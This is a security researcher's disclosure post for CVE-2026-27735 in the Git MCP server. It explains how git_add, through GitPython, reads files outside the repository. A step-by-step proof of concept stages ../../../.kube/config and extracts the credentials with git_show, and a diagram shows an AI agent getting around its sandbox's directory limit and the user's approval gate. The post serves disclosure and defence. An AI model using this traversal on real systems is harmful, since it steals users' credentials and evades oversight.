Capability Laundering: The Series So Far

This is the third case in an ongoing series documenting capability laundering in MCP ecosystems.

Capability laundering is when an agent calls one tool, but gets the effect of a different capability via side effects. It occurs when all three conditions are met:

  1. The tool’s contract does not cover its effects — the implementation can produce effects beyond what the tool claims to do.
  2. Inputs can steer those effects — arguments can influence which effect happens and what gets modified.
  3. Controls gate tool calls, not effects — approvals and policies do not model the effect being produced.

The previous two cases:

  • Part 1: Memory MCP: A “memory storage” tool laundered arbitrary file-write capabilities, enabling VS Code terminal hijacking. Boundary bypassed: approval gate.
  • Part 2: Git MCP (CVE-2025-68143): git_init laundered file-read capabilities by creating repositories in sensitive directories. Boundary bypassed: CWD boundary.

This third case bypasses the same CWD boundary, but through a different mechanism: it requires no setup, leaves no artifacts, and exploits a flaw in GitPython itself rather than just the MCP server.

This vulnerability was assigned CVE-2026-27735 and disclosed in GHSA-vjqx-cfc4-9h6v.

What Happened

Part 2 required git_init to first create a repository in a sensitive directory like ~/.ssh. That left a .git directory behind — a detectable artifact.

This vulnerability needs none of that. From any existing repository, a single git_add call with a relative path like ../../../.kube/config silently reads the file into the Git object database. The working directory stays clean. The file content lives only in Git history, invisible to ls or any file browser.

The root cause is not in the MCP server alone — it is in GitPython itself. Git CLI correctly rejects paths outside the repository. GitPython’s index.add() does not. The MCP server inherits this flaw by calling index.add() without validation.

I discovered this vulnerability and reported it to the Anthropic MCP Team. They published the fix through my PR #3164, and the advisory GHSA-vjqx-cfc4-9h6v credits the report and fix contribution.

TL;DR

  • Issue: git_add passes user-supplied paths directly to GitPython’s repo.index.add(), which does not validate that files are within the repository. Git CLI rejects such paths; GitPython does not.
  • Impact: Any file readable by the process can be silently added to Git history and extracted via git_show or git_diff_staged. Working directory remains clean.
  • Root Cause: GitPython’s _to_relative_path() only validates absolute paths. Relative paths with ../ bypass all checks.
  • --repository flag: Ineffective. It restricts which repos can be accessed, but does not prevent path traversal within git_add.
  • Advisory: GHSA-vjqx-cfc4-9h6v / CVE-2026-27735
  • Class: MCP capability laundering — “stage files” tool produces “read arbitrary files” effect.

Threat Model: Capability Laundering

The Approval Gap: Agent Sandbox vs. MCP Runtime

When an AI agent connects to an MCP server, the user approves tool calls — not the underlying filesystem effects those tools produce. This creates a fundamental security gap, because the MCP server runs in a different runtime from the agent’s sandbox.

Agent Sandbox vs MCP Server Runtime

The agent’s sandbox enforces CWD restrictions on direct file operations. But MCP tool calls bridge into a different runtime — the MCP server’s process — where the agent’s CWD policy does not apply. When the user approves “allow git_add”, they approve a tool invocation, not “read ~/.kube/config into Git history”.

Consider what happens when an agent tries to read a sensitive file directly versus through MCP:

sequenceDiagram
  participant A as AI Agent
  participant SB as Agent Sandbox
  participant U as User
  participant M as MCP Git Server
  participant F as ~/.kube/config

  rect rgb(232, 245, 233)
  Note over A,SB: Direct file read
  A->>SB: read_file("~/.kube/config")
  SB-->>A: DENIED: outside CWD
  end

  rect rgb(255, 235, 238)
  Note over A,F: Same file via MCP
  A->>U: Allow git_add?
  U->>A: Approved
  A->>M: git_add(files=["../../../.kube/config"])
  Note over M: Separate runtime, no CWD check
  M->>F: GitPython reads file
  M-->>A: "Files staged successfully"
  A->>M: git_show("HEAD")
  M-->>A: Raw credential content
  end

This is why capability laundering is effective: the approval mechanism gates the tool call, but the effect happens in a security domain where the agent’s restrictions do not exist.

The Generalized Pattern (Refined from Three Cases)

CaseTool LabelActual EffectBoundary Bypassed
Memory MCPMemory storageArbitrary JSON file writeApproval gate
Git MCP (CVE-2025-68143)Git initFile readCWD boundary
Git MCP git_add (CVE-2026-27735)Stage filesFile readCWD boundary

Parts 2 and 3 both bypass the CWD boundary, but through different mechanisms. Part 2 moves the repository to the target; Part 3 reaches out from the repository to the target.

Technical Root Cause

The Vulnerable Code

The vulnerable git_add implementation (source):

def git_add(repo: git.Repo, files: list[str]) -> str:
    if files == ["."]:
        repo.git.add(".")       # Uses Git CLI — safe
    else:
        repo.index.add(files)   # Uses GitPython — vulnerable
    return "Files staged successfully"

When files == ["."], the code uses repo.git.add() which calls Git CLI (safe). For all other inputs, it uses repo.index.add() which calls GitPython’s library API (vulnerable).

Why Git CLI Is Safe But GitPython Is Not

Git CLI validates that paths are within the repository:

$ cd /tmp/test_repo
$ git add ../../../.kube/config
fatal: '../../../.kube/config' is outside repository at '/tmp/test_repo'

GitPython’s index.add() does not:

repo = git.Repo("/tmp/test_repo")
repo.index.add(["../../../.kube/config"])  # Succeeds silently

The root cause is in GitPython’s _to_relative_path():

def _to_relative_path(self, path):
    if not osp.isabs(path):
        return path  # Relative paths bypass ALL validation

Relative paths like ../../../.kube/config skip validation entirely, then get processed through _store_path() which reads the file content into the Git object database.

The --repository parameter does not help — it restricts which repos can be accessed, but the path traversal happens inside GitPython after the repository access check.

Proof of Concept

Step 1: Git CLI Correctly Rejects Path Traversal

Git CLI correctly rejects files outside repository boundary

$ cd /tmp/test_repo
$ git add ../../../Users/aonanguan/.kube/config
fatal: '../../../Users/aonanguan/.kube/config' is outside repository

Step 2: MCP git_add Bypasses the Boundary

MCP git_add successfully adds files outside repository via GitPython

{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"git_add","arguments":{"repo_path":"/tmp/test_repo","files":["../../../Users/aonanguan/.kube/config"]}}}

Response: {"text":"Files staged successfully","isError":false}

Step 3: File Added but Invisible in Working Directory

File added to Git index but invisible in working directory

$ ls /tmp/test_repo
test.txt              # Working directory looks clean

$ git ls-files
../../../Users/aonanguan/.kube/config   # But kubeconfig is in the index
test.txt

No .git directory left in ~/.kube, no visible trace anywhere.

Step 4: Extract Credentials via Git History

Credentials extracted from Git history via git_show

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"git_commit","arguments":{"repo_path":"/tmp/test_repo","message":"add config"}}}
{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"git_show","arguments":{"repo_path":"/tmp/test_repo","revision":"HEAD"}}}

The response contains the complete kubeconfig including AWS EKS cluster endpoint, certificate authority data, and cluster ARN.

Fix

As described in the advisory:

In mcp-server-git versions prior to 2026.1.14, the git_add tool did not validate that file paths provided in the files argument were within the repository boundaries. The tool used GitPython’s repo.index.add(), which did not enforce working-tree boundary checks for relative paths. The fix switches to repo.git.add(), which delegates to the Git CLI and properly rejects out-of-tree paths.

I reported this vulnerability and contributed the fix (commit db96050, PR #3164). Users should upgrade to 2026.1.14 or newer.

Timeline

Conclusion

This is the third documented case of capability laundering in MCP ecosystems:

Case 1 (Memory MCP): Memory storage → Config injection → Terminal hijacking Case 2 (Git MCP, CVE-2025-68143): Git init → Credential exfiltration → Secret theft Case 3 (Git MCP git_add, CVE-2026-27735): Stage files → Path traversal → Credential exfiltration

All three follow the same pattern, but break different boundaries:

  • Memory MCP: Bypassed approval gates (arbitrary JSON schema written without approval)
  • Git MCP (git_init): Bypassed CWD boundary (created repos outside workspace)
  • Git MCP (git_add): Bypassed CWD boundary (read files outside repo via library flaw)

The Emerging Pattern

Capability laundering is a systemic security pattern in MCP ecosystems:

  • Tools are trusted by labels (“memory”, “git”)
  • Implementations exceed contracts
  • Effects bypass capability controls
  • MCP servers run outside the agent’s sandbox — by design, not by accident

This third case adds a new dimension: library APIs are not equivalent to CLI tools. GitPython’s index.add() does not enforce the same boundaries as git add. MCP servers that wrap libraries inherit their flaws silently.

Beyond these three cases, the Git MCP Server alone revealed multiple capability laundering vulnerabilities:

  • CVE-2025-68143: git_init bypasses CWD boundary
  • CVE-2025-68144: git_diff/git_checkout argument injection enables arbitrary file writes
  • CVE-2025-68145: Path validation bypass when using --repository flag
  • CVE-2026-27735 (this article): git_add path traversal via GitPython library flaw

All four demonstrate the same pattern: Git tools laundering capabilities beyond their documented contracts.

For the Ecosystem

Server developers: Tool contracts are security boundaries. Do not trust library APIs to enforce them — validate explicitly.

Client developers: Gate effects, not tool names. Recognize that MCP tool execution bridges into a separate runtime where the agent’s sandbox does not apply.

Security researchers: Look for capability laundering wherever tool contracts are vague and implementations are powerful. Pay special attention to mismatches between CLI tools and their library equivalents.

The fix is in 2026.1.14. But the lesson is broader: MCP needs effect-based capability accounting.


This is part of an ongoing series on capability laundering in MCP:


References:

Related Git MCP Server vulnerabilities:

Aonan Guan | Security Researcher | LinkedIn | GitHub | Related work in Microsoft Agentic Web Featured by The Verge